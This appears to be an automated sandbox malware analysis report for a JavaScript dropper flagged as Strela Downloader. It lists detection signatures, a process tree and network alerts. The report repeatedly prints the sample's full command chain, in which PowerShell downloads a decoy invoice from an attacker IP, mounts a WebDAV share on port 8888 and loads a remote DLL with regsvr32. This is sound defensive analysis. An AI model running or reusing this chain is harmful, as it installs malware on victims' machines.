Edit tour

Windows Analysis Report
2091470502273216855.js

Overview

General Information

Sample name:	2091470502273216855.js
Analysis ID:	1588091
MD5:	cdb659dae9b9f30db514828a465687bf
SHA1:	2024b170d6f2860954b7e97b00668e1064346da9
SHA256:	d72b4120cbbf71a56ca5661f1b8ba32dd1d151f3916456064509d2234ee5ee56
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5600 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3168 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5168 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2300 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6576 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7212 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1576,i,15311919484714083302,4794122541947920074,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6128 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2640 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4568 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5600	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3168, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5168, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3168, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5168, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js", ProcessId: 5600, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2640, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, ProcessId: 3168, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, ProcessId: 3168, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, ProcessId: 3168, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, ProcessId: 3168, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, ProcessId: 3168, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js", ProcessId: 5600, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3168, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5168, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6128, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2640, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4568, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6128, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2640, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll, ProcessId: 3168, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:17:37.209562+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:17:34.560805+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2091470502273216855.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2091470502273216855.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:17:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:52046 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

